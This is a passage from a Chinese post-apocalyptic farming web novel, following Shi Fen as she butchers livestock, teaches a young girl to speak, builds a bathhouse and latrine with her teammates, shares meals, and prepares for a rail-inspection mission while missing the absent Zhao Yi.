时枌猜测可能是跟烈烈阳阳在一起玩久了受了影响,原本因为恐惧自我封闭不想说话的糯糯有了跟人交流的想法,所以她才会开始重新学习。
“这个筒子骨炖汤特别好喝,一会儿让秦丰哥哥帮你炖汤,还有这个,”时枌剃下来一扇排骨,“这叫排骨,我们人也有,你摸摸你的这里,一排一排的是不是?”
糯糯把筒子骨放下,摸了摸自己的“排骨”,小嘴巴成“哦”形,眼睛都是亮亮的。
时枌呼吸一滞。
太可爱了嘤嘤嘤。
“人类的叫肋骨哦,你把筒子骨拿去给厨房,秦丰哥哥估计要开始熬汤了,回来之后再把这个猪板油拿过去。”
糯糯个子小力气小,一次拿不了太多东西,时枌就给她分成两步慢慢来。
虽然瘦,但也要多锻炼,这样才会吃很多饭,才能长肉。
一大一小配合默契。
时分很快就把猪肉分好,内脏也分好,新鲜还冒着热气的猪肝被秦副队拿去准备午饭了。
今天早饭简单,秦丰打定了主意午饭要丰盛起来,除了爆炒猪肝,还有筒子骨萝卜汤,辣椒炒肉,红烧排骨,炒青菜,番茄蛋汤,炒香肠,——离满汉全席也差不了多少。
秦丰在厨房忙的热火朝天,猪板油得炼成猪油,筒子骨要提前开始熬汤,摘菜备菜……就算有白芳帮着两人也在厨房忙的团团转。
秦丰时刻谨记白芳在坐月子,只给她安排一些简单轻松的活,力气活基本都是他来干。
而时枌杀完猪,又去指导骨头跟老六砍树,主要是传授他们一些控制树倒下方向的技巧,再叮嘱他们选粗细差不多的木头锯成差不多长度来做围栏。
指导完,时枌就去杀羊了。
杀羊跟杀猪又不一样,时枌想把羊皮留着给糯糯做件冬天保暖的皮草,糯糯比较小,一只羊皮应该就足够了,顺便教糯糯剥皮,之后还能教她鞣质羊皮。
时枌示范过后就让糯糯用自己的小刀慢慢剥皮,糯糯干活很细致,特别认真,专注的像个小大人。
剥完皮,时枌让糯糯休息一会儿,自己给羊从中间剖开,清理内脏,再把羊肠挖出来丢进水盆里先泡着,——这个留着还能灌香肠。
时枌这边香肠存货多,但现在人也多呀,再多食物也经不住七个大人一个小孩吃,所以尽量多做一些,以后做饭也能更方便。
糯糯正在捏软乎乎的羊肠玩,似乎很好奇,嘴巴试着发声:“肠……”
有了第一声,糯糯也慢慢开始试着学习其他的。
时枌杀完羊厨房已经传来饭菜香,估摸着秦丰要开始炒菜了,时枌跟糯糯一起去给罗辉家送蔬菜绿豆红豆,再邀请他们一家来吃饭。
罗辉不好意思来吃,还是时枌说这次他们队员几乎都到齐了,两家一起吃个饭认认人,以后沿线有了驻军他们也能有个关系在,罗辉才答应带着老婆孩子一起来,来之前余袅还特地翻出家里存的两张皮毛,说要送给时枌。
时枌:“我就不用了,我家里有很多呢。”
“那就给白芳跟糯糯,正好方便过冬。”余袅笑着说。
“行吧。”时枌也就不客气了。
罗辉叫来烈烈跟阳阳,关好门,就跟着时枌跟糯糯到了她家。
东边吭哧吭哧砍着树,叶枝蔚跟周霓也在热火朝天扩建洗澡间,厨房飘出来诱人的辣椒香,刚走近,阳阳就打了个喷嚏。
“好辣呀。”阳阳牵着糯糯的手,眼泪婆娑的。
“辣……”糯糯跟着学。
余袅惊讶,“糯糯开始说话了?”
阳阳一脸骄傲:“是啊!糯糯学的特别快!”
她是最先发现糯糯可以开始说话的,从那之后阳阳就成了小话唠,每天都对着糯糯说好多好多话。
“糯糯还会写字!她会的字还比我多呢!她的名字那么复杂我都不会写,还是她教我的。”阳阳大声道。
余袅揉揉她脑袋,“你跟糯糯都很棒,以后要继续这样互相帮助哦。”
糯糯跟阳阳都认真点头。
客人都到了,原本在忙的骨头张照照叶枝蔚跟周霓都进屋洗手洗脸准备吃饭,骨头还特别有眼色的不去跟周霓抢洗手间,自己去厨房洗了手就开始帮着端菜拿碗筷,来来回回抢在白芳之前就把活干完了,白芳只能局促地招待罗辉一家坐下。
屋子里挤满了人,一张长餐桌做的满满当当,长凳都有些不够用,时枌还拿了些凳子过来才坐得下。
开饭前周霓拉着大家一起拍了个合照,手表小小的,站远些才能框进他们这么多人,拍出来的照片有些模
糊,但还是被几个小孩子传来传去脑袋挨在一起看。
照片发在了他们小队的群聊里,也不知道唯一没到场的赵队会是什么感想。
时枌上桌目标明确,先给自己夹了一筷子辣椒炒肉。
知道内幕的叶枝蔚也跟了一筷子。
新来的周霓一开始对这盘菜不以为意,忙着去跟小孩抢排骨,结果意外吃了一口发现惊为天人,再想夹却发现辣椒炒肉盘子里连辣椒都没咯。
厨师长秦丰乐得牙都合不拢,“猪肉辣椒多的是,咱们下午再做这个菜。”
主要是新鲜的猪肉加新鲜的辣椒,炒出来的肉弹牙辣椒也被油浸润,非常入味,下饭一绝,除了小孩子接受不了这个辣度,大人们都恨不得人手一碗。
得知下午还有,周霓也就没那么在意了,改吃其他菜。
饭桌上一时间时候筷子叮叮当当,没有人说话声。
秦丰自己做饭向来胃口不佳,就开始拉着人闲聊。
“时枌啊,我看见你厨房土豆都发芽咯,不能吃了。”
所以今天餐桌上才没有土豆。
时枌也终于记起厨房里放着的那些从地窖拿出来的土豆红薯,是她每次晚上烧水扔进灶里的宵夜。
天气热了土豆就是这样容易发芽。
“发芽就发芽吧,一会儿我切了给它们都种了。”
往东边扩的地盘太大,全部做成花园也不现实,正好留一大块地来种土豆红薯,这俩产量高不需要怎么打理,还容易保存,收获了放进地窖基本一整年都能吃得上。
更重要的是,她喜欢吃。
说起土豆。
“我想吃土豆饼,下午能有土豆饼吗?”时枌问。
“行,我去拿点土豆上来。”秦丰一口答应。
又是一次完美的光盘行动,饭菜都吃光光,烈烈跟阳阳都喊着饱了饱了,送他们家回去时时枌也把老大给了罗辉。
“它们现在够大了,你也得训练它牧羊,可以接过去了。”时枌说。
之前就说好给罗辉家一只小狗,留到现在小狗快两个月了才送过去。
想来想去还是老大更适合给罗辉家去牧羊。
老大体型够大,性格沉稳,最近长大了越发少叫,相比之下老二就性格比较敏感,家里来人了也会紧张得呜汪直叫,至于老三,老三是唯一遗传大熊毛色的小狗,时枌舍不得。
老四?老四已经给赵弋了。
拿到小狗的烈烈跟阳阳一阵尖叫,阳阳抱着沉稳老大直喊“我有小狗啦我有小狗啦”,高高兴兴抱回去。
现在时枌这里就还剩下三只小狗。
小狗渐渐长大,原本的狗窝也不够它们睡,现在偶尔还会跟它们爸妈抢窝,送走一只倒是显得空旷很多。
但时枌的农场需要扩张,那么三只狗也要分布到周围,不能都聚在一起。
时枌打算把敏感的老二跟老四放一起,在马场附近守着,老三还是留在菜园跟牲畜栏这边,至于虎子跟大熊就不用重新安排了,它们已经习惯一个陪着时枌一个在屋子外边。
“晚点我忙完再给它们做新的狗窝。”叶枝蔚说。
人多起来,家具也就显得少了。
今天一上午叶枝蔚跟周霓把洗澡间的木料都处理好了,吃完饭就开始搭建。
洗澡间靠着时枌房子的东面一座墙,离后门进,离后院水龙头也近,到时候夏天方便他们洗澡。
屋顶还缺瓦片,等骨架搭好还得去拖瓦片回来,砖也是。
时枌立马就寻好了附近一座没人住的房子,开车带着张照照跟糯糯一起去上房掀瓦拆墙。
两人干活比较方便,时枌戴着手套拆,把拆下来的瓦递给张照照,糯糯再慢慢摆放进皮卡里,——为了方便运货,他们特地申请了一辆皮卡过来。
装满一车,时枌就开车送过去,张照照留着继续拆。
这户人家就一层老房子,还是比较好拆的,瓦片质量也好,皮卡跑了两趟人家老房子屋顶就开了天窗。
老房子前头有个茅坑,看上去很久没用了,杂草丛生,墙正好塌了,方便他们搬砖。
张照照就提议,“要不咱们顺便做个茅坑呗?一楼就一个厕所咱们也不够用啊。”
张照照憋尿都快憋出毛病了。
时枌觉得这个提议不错。
茅坑好啊。
现在人多了,屎也多了,那不就意味着肥也多了?
“行,洗澡间建完咱们就开干。”时枌一口应下。
第62章 第62章难道赵弋是什么拿不出手……
“你们知道建个洗澡间我还得给你们俩平整地面挖排水沟的吧?”
“那你俩知道如果建茅坑,得挖个巨大的化粪池吗?”
父亲是泥瓦匠的周霓坐在梯子上叉着腰俯视骨头跟张照照。
张照照跟时枌刚刚把砖瓦都搬了回来,暂时先堆放在后院平地上,这会儿洗澡间骨架已经搭建好了。
至于三合土还得等时枌来了再弄。
“没问题,坑我们来挖,你俩建起来就行。”
为了一个自由的茅坑,骨头跟张照照都豁出去了。
时枌也劝,“我也会来帮忙的,建个茅坑不仅省事还能给我多供应些肥料呢!”
周霓一想,他们在这边至少要住两个月,一屋子七八个人就两个厕所确实有点不够用,尤其是晚上上厕所排队,太糟心了。
于是就同意了。
反正要建,干脆就一起建呗。
砍树推迟,先确定茅坑位置。
时枌去烧生石灰,这一次是两个工程,她把仅剩的生石灰都找了出来,估计足够建洗澡间跟茅坑了吧。
白芳去帮忙熬糯米浆,今天就能先做一部分。
周霓跟叶枝蔚给洗澡间铺了瓦,因为洗澡间空间不大,也就几个平方大小,所以屋顶也相对简单,还剩下了不少瓦片,正好留给茅坑。
接下来就是平整地面跟砌墙,还要挖一个排水沟方便排水。
地面再抹平一层三合土,等彻底干透几乎水泥差不多。
一个下午时间洗澡间就建了一半,水管也牵进去了,骨头恨不得当场第一个进去洗澡,结果被周霓一个“傻逼”吓了回去,老老实实回屋子里洗。
墙跟地面还没干透,当然不能在里面洗。
今天累出一身汗,干活的人都趁着晚饭前洗了个澡再舒舒服服地下来吃饭,饭桌上还在聊明天的活要怎么干。
晚饭时枌趁着天还没黑,把确定好的土豆地给翻了出来,种土豆。
时枌目前的规划是东南方向靠近马路的是马场,东北方向就开垦一大块地专门种土豆红薯还有一些从保护区带来的种子。
这附近土还不错,就是翻地是个大活。
时枌先把方方正正的菜地规划出来,再留出道路方便行走,四周之后会用多余的木头建一个简单的栅栏。
翻地……时分也不想自己一个人翻将近一亩的地,太糟心,砍了树留了树桩的地方她先挖树桩,至于翻地,她再去找罗辉借头牛就是,她这边耕地的工具可多了。
就是最近天气连续几个大晴天,地面都邦硬,没办法耕地,得等一场雨才行。
那这几天不下雨的话就只能先挖树桩砍树围栅栏了。
又是砍树……
时枌两眼一黑。
忙到天黑,时枌上二楼看着自己东面乱糟糟的扩建,自己安慰自己:没事没事慢慢来,一开始慢一点乱一点是正常的。
哦对,还要拆铁丝网,——列入明日任务清单。
“时枌,去洗澡吧,热水给你兑好了。”周霓催她。
“好,来了。”
时枌今天累出一身汗,得洗头发,所以才让她们先洗,自己最后洗。
有了新买的洗发水,就不需要她的肥皂了。
洗发水明显比肥皂更好用,泡沫多,洗完也不会干干涩涩的,味道也好闻,时枌觉得自己整个头都是香香的。
她清清爽爽出来,只看见周霓躺在沙发上手里拿着一本《三国演义》看得起劲,没看见叶枝蔚就问了一句。
“下楼跟秦丰谈恋爱去了。”
时枌“哦”了一声。
这会儿也睡不着,看见周霓看书,她也想找本书来催眠。
二楼客厅有一面墙的书柜,外边是玻璃小门,一层一层的,摆满了书。
这些大多是爷爷奶奶的书,时枌小时候就是靠这些来
认字,偶尔兴起,爷爷还会拿出毛笔宣纸教她写毛笔字,可惜现在时枌已经忘得差不多了。
她站在书柜前,挑了一本看起来最厚的《三国志》,沉甸甸的抱在怀里,坐到沙发上,开始看。
两人就着蜡烛光,勤学苦读。
突然之间,二楼充满了学术气息。
直到周霓把书一合,一脸坚毅地出声:“我得去看看叶枝蔚在干嘛。”
时枌:“?”
“这有个阳台……啧,视角不错,走!我们去看看!”
周霓一把把时枌拉了起来,那本《三国志》就跟铅球似的滚到了沙发上。
两人到了阳台,往下看。
很好,什么也看不见。
今天不是满月,月光没多少,外边就没多少光亮,从她们这个角度往下看就是一片漆黑,啥也看不见。
周霓不服,瞪大眼睛试图靠肉眼捕捉那对小情侣。
时枌忽然记起来,“我的狙击枪有夜视仪。”
周霓:“快快快!”
就这样,时枌把狙击枪架了起来,移动视角,找到了东面洗澡间的叶枝蔚跟秦丰。
可惜角度原因,只能看见两人脑袋。
周霓也想看,急得快跳起来。
时枌再次确认狙击枪没装子弹,就让出了位置。
“哟哟哟,说悄悄话呢。”周霓说,“可惜听不见。”
“有的看都不错了。”时枌说。
看了会儿,周霓就失去了兴趣,发现夜视仪里叶枝蔚似乎要回屋子,赶紧收枪,让时枌把枪放回去。
叶枝蔚上来时,就看见两人抱着两本厚厚的书端坐在沙发上认真阅读。
“怎么不多点几根蜡烛?这么暗看书对眼睛不好。”叶枝蔚说。
她们刚刚偷窥人家,结果叶枝蔚上来还好心提醒她们,时枌一下子就羞愧了。
她放下沉甸甸的《三国志》,“我看困了,睡觉了,你们晚安!”
赶紧跑路。
周霓故作淡定:“我尿个尿,你先去睡吧。”
叶枝蔚:“……”
总有种她们两人一起干了什么对不起她的事的感觉。
第二天又是干活的一天。
有了他们的加入,时枌的计划推进速度可以说是突飞猛进。
以往自己一个人一天只能解决一棵树,现在有了骨头张照照还有偶尔从厨房出来减肥锻炼的秦丰,他们一天能砍七八十平的树。
罗辉处理完自家的事也会过来帮忙砍树清理。
砍下的树没时间处理,就先随意放着,趁着这些天太阳大方便晒干,之后再劈成柴。
为了方便储存,时枌在后院大坑附近做了个土窑烧柴,终于把一厨房的柴都变成了炭,集中存放起来,——今年冬天应该是够用了。
至于已经堆满柴房的柴,时枌也陆续烧成炭。
等了三四天,时枌提前一晚夜观天象,发现明天很可能会下雨,就招呼他们一起把摊在地上砍倒的树都锯了堆进柴房跟工具房,避免被雨淋湿。
这几天茅坑也建好了,既然开建,就建个两坑的,分男女,更方便,反正砖瓦都够,位置就在时枌的土豆地旁边,茅坑是骨头跟张照照自己挖的,够大。
今天下雨,不适合在外边砍树,他们也正好能休息一天,窝在屋子里……吃火锅打麻将。
麻将是周霓从时枌爷爷奶奶衣柜里意外找到的,时枌对这个有点印象,但以前家里就她一个人,爷爷奶奶还在的时候倒是三个人一起玩过,后来人越来越少就长期闲置,以至于时枌都忘了麻将的存在。
一群人把靠近厨房的小餐桌搬到一楼中间一楼长餐桌挪了一下,再在桌上铺上一层软布,把一整盒麻将倒上去。
麻将都是装在一个布袋子里,常年放在柜子里,没沾多少灰,叶枝蔚还是用湿抹布擦了一遍,才开始玩。
周霓是会的,叶枝蔚不会,她让秦丰上,再加上骨头也会,一共就三个人。
张照照对麻将一窍不通,时枌不想玩,她刚跟秦丰学了怎么做火锅,一会儿想自己弄火锅吃,于是只能让白芳上。
白芳一开始还拒绝,她最近都没干什么活,想着一会儿还能帮时枌处理食材,因此尽管她会也没出声。
结果还是被“三缺一”的魔咒拉上了桌。
“咱们头一回玩儿,就不玩筹码了,大家先熟悉熟悉。”周霓摩拳擦掌招呼着。
秦丰老神在在,“没问题。”
骨头:“行行行,就玩玩。”
白芳:“……好的。”
麻将已经搓了起来,糯糯坐在凳子上好奇跟着学,张照照在骨头身后当军师,叶枝蔚在秦丰旁边坐着被迫学习,整个屋子都是丁玲哐当的动静,时枌看看时间,去厨房处理食材。
这几天杀了一只猪一只羊,多余的肉都被秦丰灌了香肠,最近几天大家喝的都是骨头汤,有点腻,时枌就打算今天做个辣锅,还是骨头汤底,再做一锅番茄锅给白芳跟糯糯吃。
她地窖里番茄剩的不多了,今年春天种下的番茄现在也才刚开花坐果,估计还得一个月才能吃上果子,干脆就这一次全部下锅做成番茄汤。
辣锅还比较简单,有秦丰前段时间拿猪油做的火锅底料,只需要骨头汤加点底料就成了,番茄锅就比较复杂,得熬汤。
时枌隔三差五就扯着嗓子问秦丰。
秦丰牌技了得,一边打牌一边教她绰绰有余,他旁边站着叶枝蔚,还顺便教叶枝蔚该怎么打,嘴就没停过。
中途时枌又问他,秦丰就让叶枝蔚代他玩一会儿,去厨房尝了番茄汤的咸淡,“嗯,不错,加点糖会更鲜,再切大块番茄丢进去煮一会儿就能上菜了。”
“行,那我开始备菜了。”
火锅备菜特别简单,洗菜切菜就行,就是肉得切成薄片,这需要点技巧。
昨天罗辉从池塘起地笼抓了不少虾,大大小小都有,秦丰教过时枌做虾滑,她这里食材也齐全,正好能做。
虾切好,鸡蛋准备好,按照比例混合均匀,完事。
火锅食材相对简单,闻到厨房味道感觉快好了,骨头就催张照照去帮忙端菜。
叶枝蔚也去帮忙,看得白芳屁股都坐不住只想站起来去帮忙干活,桌上四人打最后一圈。
两个锅底被端上桌,用的是之前烧烤的烧烤架,底下放着炭火加热,这会儿正咕噜咕噜鼓着泡泡,已经可以下东西吃的。
菜一盘盘端上来。
青菜最多,时枌院子里种了太多青菜,瓜果还没成熟,猪肉切成片,羊肉片也有,时枌花了大力气切了足足六盘,然后就是虾滑,泡好的菌菇……
糯糯面前放着番茄锅,今天没蒸米饭,灶里烤了红薯跟土豆拿出来可以直接吃,秦丰先前擀好了面条,这会儿先放进去煮。
白芳给糯糯舀了一碗番茄汤,加几块番茄,先让她吃着。
其他人已经迫不及待开始下肉,被烤土豆烫的舌头都在冒热气。
窗外淅淅沥沥下着小雨,门口连成了一片雨幕。
周霓拿秦丰的手表给他们一起照合照,火锅围在中间,高高兴兴发到了小队群里。
最近他们闲着没事就拍照发群里,有跟猪肉合照的,有跟茅坑合照的,最多的还是现在这种吃饭的时候一起合照,一开始因为是周霓自己拍照,总是发不出去,后来发现秦丰发的消息就很容易发过去,从那之后就都用秦副队的手表拍了,以确保赵队能收到他们“认真执行任务”的见证。
也不知道一个人在保护区喝营养液的赵队看见了会是什么想法。
“赵队怎么都不回消息啊?我看照片都发过去了,他应该收得到啊。”周霓发出灵魂质问。
骨头:“……看见了也不想回吧。”
疯狂下肉的张照照:“唔唔唔……唔唔……”
骨头:“吃饭别说话!”
张照照就继续吃肉了。
秦丰:“估计是在忙吧,最近保护区不是在彻查么?”
时枌安静听着他们聊赵弋,没有说话。
表达完对赵队的思念之后,大家就心满意足继续吃饭了。
时枌手里捏着热乎乎的烤土豆,相当秀气地用勺子挖着吃,她并不是很饿,她突然就明白了秦丰每次做饭为什么都吃的不多,因为确实不饿。
可能是在厨房被熏饱了?
她都懒得下筷子去捞菜,周霓发现她不吃,一筷子拦住张照照的手,霸气地给时枌夹了一筷子羊肉。
“枌
枌要多吃肉,你还年轻,说不定还能长个子呢!“然后又给糯糯白芳给夹了一筷子,“你们也是,要好好补一补!”
时枌蘸了辣椒粉吃了,“嗯嗯。”
她吃的差不多就去沙发上躺着喝水,听着外边连绵不绝的雨声。
叶枝蔚以为她心情不好,在周霓眼睛都要抽抽的使眼色下坐到她旁边,轻声问她:“怎么啦?是不是有点吵?”
时枌:“我不是不开心,就是……”
她也说不上来是什么感觉。
就好像是这个屋子里缺了点什么。
期盼了许久的雨终于落下,她也正好赶在下雨天播种种树,省去了浇水的辛苦。
她心里却只是有点高兴,其余的,就很平淡了。
“算了,可能是下雨影响心情了。”时枌很快就调整好,“明天还有很多活要干呢,我不刷碗咯,我先上去洗澡洗头,今天做饭熏的一身都是油味……”
给自己安排好了明天的活,心情就会轻松很多,周霓还给她洗了一盘蓝莓让她带上去吃,底下麻将四人组等收拾完桌子刷完碗还得继续厮杀。
时枌按流程洗了澡,横躺在沙发上,脑袋搁在沙发扶手,头发就自然垂下去晾着。
她手里捏着一本脆弱泛黄的《阿衰》,一手往茶几边缘抹两颗蓝莓丢到自己嘴里,偶尔看见搞笑部分就笑一笑,但更多的时候是脑袋放空,盯着阳台外的雨幕不知道在想什么。
其实好像也是知道自己在想什么的。
他为什么不回消息呢?
她的挖掘机还有希望吗?
其他人都来了,怎么赵弋就不来?
他是不是对自己有什么意见?
奇怪。
她太过沉浸于自己的思考,连有人上楼来都没注意,还是叶枝蔚走到跟前才被吓的一激灵,手里的漫画书都掉到地上。
叶枝蔚只是上来拿点东西,“吓到你了?”
时枌连忙说:“没有没有!”
叶枝蔚不明所以,“你刚刚在发呆?想什么?”
时枌刚想说在想赵弋怎么还没来,但这个主语还没说出口,她就下意识地拐了个弯,用谎话来掩盖自己的真实意图:“在想明天找罗辉家借牛的事。”
“之前也借过,应该没什么问题,不过你也需要一头牛了,要不想办法去跟他们家换一只?”
“我也是这么想的,我想……就用夏秋两个季节的蔬菜来换吧?他们家菜也是刚种下去,品种也不全,我允许他们随便来我家摘菜吃,这样换一头牛应该不亏?”
叶枝蔚笑:“不亏,你放心。”
“那行,我明天去跟罗辉谈,哦对,秦丰说明天想做鱼丸,今天下雨了,池塘里的鱼肯定都出来了,他们最好今晚就去下地笼哦。”时枌提醒道。
今天吃火锅秦丰就想到了火锅食材,这里条件有限,没有冰箱,但胜在人多,不会有剩菜,池塘里鱼多的是,正好吃鱼吃腻了,做点鱼丸换换口味。
“好,我一会儿下去跟他们说。”叶枝蔚拿完东西就下楼了。
时枌揉了揉发酸的脖颈,捋了捋潮湿的头发,对漫画书也失去了兴趣,心里越来越觉得奇怪了。
淅淅沥沥的雨声像是她纠结成团的思绪。
为什么刚刚叶枝蔚问她在想什么她要说谎呢?
以前她都是大大方方的,有什么说什么,叶枝蔚也是她的好朋友,好朋友之间不应该随随便便就那谎话应付人的吧?
难道是她自己潜意识觉得这不是一件能大方说出口的事?
奇怪,难道赵弋是什么拿不出手的东西吗?
第63章 第63章上一批叫得厉害的已经被……
雨停了。
潮湿的空气似乎格外催眠,时枌睡了个好觉,一早被嚣张的公鸡叫声吵醒也没起床气,伸个懒腰爬起来,哼着歌去洗漱。
已经洗漱完的叶枝蔚觉得稀奇:“我还以为你昨天心情很不好,没想到这么快就恢复了?”
时枌一脸无辜:“什么心情不好?”
她昨天有心情不好吗?
因为什么?
哦对,似乎是因为赵弋没回消息。
这能让她心情不好?真稀奇。她现在一点都不觉得有什么。
只是这一次,她也没解释给叶枝蔚听。
周霓打着哈欠从房间出来,“枌枌啊,楼下这几只公鸡能不能阉了……不对,哑了啊?”
时枌:“上一批叫得厉害的已经被我杀了煲汤了。”
谁知道一山更有一山高呢,上一批鸡高音逝去,新生一代没鸡压着,干脆解放天性随便嚎。
不过说起鸡,也提醒了时枌。
之前送了一批小鸡小鸭给罗辉家,她又扩建了鸡栏,这下此消彼长的,显得她鸡栏格外空旷起来。
再加上之前孵出来的小鸡还没长大没到下蛋的时候,最近倒是有点青黄不接的迹象。
“要不抽个时间再上山吧?我捉点野鸡回来?”
她记得上次赵弋做过捕鸟陷阱,捕野鸡应该也一样,而且野鸡更笨,应该会更好捉。
“行啊,正好刚下过雨,上山采菌子。”周霓说。
时枌:“你会认菌子?”
周霓傲娇轻哼一声,“那是当然,我小时候经常跟我奶奶上山采菌子,熟得很。”
太好了,终于不是只有时枌一个人会认菌子了。
多了个人就多了个老师,她也不用跟之前一样那么麻烦地教。
吃完早饭时枌就去罗辉家借牛,顺便谈换牛的事,罗辉欣然应允,当场给了她一头刚满一岁的牛。
“之前就想给你,但是每次你来我拿东西你都不肯收……”罗辉笑道,“下次不用跟我们客气,大家互帮互助,以后耕地随时来借牛!”
时枌也大大方方应了。
时枌花了一个上午的时间趁着土地湿润把土豆红薯地给翻了。
一眼看去,地方已经被收拾出来,保留了两棵巨大樟树方便乘凉,一些小树跟灌木基本被清理干净,留下一地树桩。
挖树桩特别累,时枌就没接着干,打算根据之后的规划再来慢慢挖。
马场围栏木料已经锯了出来,今天下过雨,也适合围围栏,骨头张照照跟叶枝蔚正在围。
先挖一条沟,竖木头,固定好之后再加木头。
因为是给马用的,不需要做特别高,一米五左右就足够。
小花正在土豆地旁边自己吃草,缰绳绑在一棵树上,时不时看向时枌,又或者看看其他正在忙活的人。
时枌最近忙,没时间驯马,也就只能这样自由放着它玩,只是每次系缰绳都会仔细检查,毕竟是小马,玩性大,怕它真的挣脱绳子跑了。
中午就热了起来,潮湿的水汽被蒸腾起来,每个人身上都是黏糊糊的,正好秦丰叫他们吃午饭,时枌把地耕完,放下牛让它吃草休息,自己就进去吃饭了。
一早上秦丰跟周霓白芳一起做了一上午的鱼丸,全都泡在水里,中午就用鱼丸跟鱼片一起做了满满一大锅鱼汤。
周霓:“我手都剁冒烟了,一会儿那刀得磨一磨哈,感觉不快。”
一早起地笼弄上来的鱼,这次秦丰只要大鱼不要小的,小的都放了回去。大鱼由秦丰亲自操刀去骨,周霓剁鱼肉,白芳跟糯糯负责拿小镊子尽量把鱼刺剃干净,这种精细活本来是要给叶枝蔚的,可是叶枝蔚要去监工马场围栏,又不能分身,秦丰就让白芳试着来,没想到白芳心
细,虽然不是很熟练,但干活特别细致。
白色的鱼丸浮在奶白的鱼汤里,像一颗颗小球,鱼汤里还有白萝卜,糯糯很喜欢鱼汤泡饭吃,这个菜又没有鱼刺,特别适合糯糯这种小孩吃。
“明天我们上山去吧?正好今天土豆就能种下去,围栏也能建好。”时枌问。
“围栏没什么问题,一下午的时间就够了,就是……反正要上山,咱们顺便开车过去把任务做一做?”骨头说。
秦丰点头,“也是,我们有段时间没做任务了,得去找点素材,不然没办法交代。”
确实,任务还是要做的。
趁着吃饭,秦丰把任务细节简单跟时枌讲了一下。
保护区要通一条轨道到阳县,原本兰城到阳县是有一部分轨道的,是在后边那座大山北面,但轨道多年荒废,不知道能不能用,就派他们来负责检查,同时清理轨道附近可疑的威胁。
这个任务还是有一定危险性的,所以不能带白芳跟糯糯。
白芳很有自知之明,“我留在家里吧,正好你们都走了方便我打扫卫生呢。”
“家里还晾着肉干香肠,也需要人看着,至于农场里的田地要怎么打理,时枌先跟我说说吧。”
“行,一会儿你跟我一起去种土豆,我一边跟你说。”时枌说。
吃完饭时枌就去干活。
发芽的土豆都被秦丰收拾出来了,时枌按照芽点切成小块,再用积攒了几天的草木灰裹一裹,翻好的土地扒拉出一条条种植的沟,土豆倒进去,再把土盖上就行,红薯也是一样这么种。
“今天下过雨,估计之后几天都不用浇水了,但这个土豆地要注意一下别干太厉害。”
“最近菜长得快老的也快,老了的可以都清理出来喂鸡鸭鹅还有牛羊,猪饲料都已经配好了,按照之前的喂就行,剩菜也能喂它们。”
“蓝莓熟了就吃,马上夏天还有枇杷西瓜吃,不用省。”
“我在工具房扦插的花苗记得多浇水,不能干死了。”
刚翻过的土地看着还有点乱,土豆红薯种下去也是光秃秃的,但这只是暂时的,很快就会发芽长起来。
今年她自己种了一地的土豆,早春就种下去了,这一批都快入夏才种下去,也不知道情况如何。
土豆这东西得轮种,今年种了明年就不能种了。
时枌的农场因为种的蔬菜种类多,拥有的种子多,只要够勤劳的话是能把土地管理好的。适当的轮作也能让土地恢复,所以偶尔清闲的秋末时枌都会重新计划,春天换不同的地播种。
一个下午的时间,农场扩建已经有了雏形。
洗澡间跟茅厕投入使用,马场围栏也建好了,土豆红薯地也被时枌围了起来,只有东边小花的马厩还没安排上,叶枝蔚已经画好了图纸,等他们做完任务回来再开工。
晚上大家吃完饭简单开了个任务前的小会,再就是各自去收拾东西,好好休息,明早吃完早饭直接出发。
时枌上一次出任务就是随便在发放的物资里面挑了些趁手的就直接上了,这一次有了周霓跟叶枝蔚在旁边,多了人指导,她也学了一下那些发放的物资该如何使用。
周霓跟之前队里的狙击手打过交道,知道狙击手一般都干嘛。
“确定任务方位后一般狙击手都会找到一个适合观察地形也方便狙击的地方,为底下执行任务的人提供情报跟预知危险,所以这个对讲机你一定得带上,这次赵队不在,我们听秦副队指挥,你有什么事跟他沟通就行。”
“一般来说狙击手都会安排个助手什么的,咱们现在资源紧张,这年头狙击手都是单干,枪得自己扛,位置得自己找,路得自己跑,还得眼观八方耳听六路,第一时间弄清楚地形状况,就只能辛苦枌枌你了,啧,这装备是真重啊。”
周霓试着提了一下她的狙击枪,给她重得龇牙咧嘴的。
“轨道附近还有道路,我们明天会开车出行,不过我们也不清楚那地方的情况,大概率之后还是会步行,你对山北面有什么了解吗?”叶枝蔚问。
“我没怎么去过,不过……我找找。”
时枌想起爷爷给她写的故事书,顺手从书柜上抽了出来,翻看有没有山北面的信息,而周霓也在手表上调取那块地方的地图。
末世前的地图跟现在有很大差别,毕竟经历了动乱,那地方原本的村子说不定已经被其他人占领,更有可能还有没被清理的丧尸。
时枌找到了一些,“这个应该是十年前了,山北面有两个村庄,都姓陈,分上陈下陈,爷爷说那里……好的,没人了。”
“泥石流……”叶枝蔚念出书上几个字。
“哦,是不是前几年的那场地震?”周霓也记了起来。
末世后没几年就爆发了地震,那时候兰城也有不少房屋受损。
“那轨道还在吗?这条路线是不是也不安全了?”时枌问。
谁知道会不会有第二场地震呢。
周霓耸耸肩,“就需要咱们去看看呗,拍拍照发给兰城那些专家,让他们来判断。”
叶枝蔚正在帮她们收拾装备,“肉干我都带上了,蓝莓要不要带一些?白芳送上来一篮子。”
周霓有种恍惚:“咱们是去执行任务不是去春游吧?”
他们出任务一般就是营养液,想吃啥路上碰到什么就是什么,哪有什么肉干啊蓝莓的。
“带着呗,万一不想喝营养液呢。”时枌说。
她当时在保护区外围就是不想喝营养液,给她馋的就地取材,也没吃好。
这边队员们已经娇气到喝不惯营养液,而另一边正在东区舆论中心的赵队,正在看刚递上来的报告。
——兰城自愿迁移阳县人数统计。
可怜巴巴的三位数。
而他们的计划,第一批次至少迁移两千人到阳县开工建设。
头疼。
赵弋看了眼安静的手表。
他的好队员们最多一天能发七八张合照,生怕他以为他们过得不好。
今天倒是安静了。
赵弋顺手抽了张自愿迁移的表格,脑子里一下子就想起会议上以他为中心的鸡毛蒜皮口水乱飞。
赵队,笔速飞快填写完,将自己这一张夹进那沓交上来的表格,然后若无其事地叫人来搬走录入系统。
第64章 第64章“我要一台挖掘机。”……
东区这边因为查积分的事工作效率被拖慢。
直到一个月后兰城迁移阳县的居民收拾好行李准备出发、负责迁移的工作人员检查了一遍名单后,才发现名单中间不容易引起人注意的位置突兀的、平平无奇的出现了一个高级指挥官的名字。
工作人员火速上报。
东区,悄无声息地炸了。
首先慌起来的不是保守派的老严,而是激进派的姚山。
作为南区总司令,激进派的代表人物,姚山向来是个炮仗脾气一点就燃,平时跨过半个兰城来东区跟老严开会吵架已经是家常便饭。在得知赵弋递交了迁移申请并且竟然还通过层层审核即将被“发送边疆”之后,年过半百的姚山第一反应是:他的政治生涯,可能要到头了。
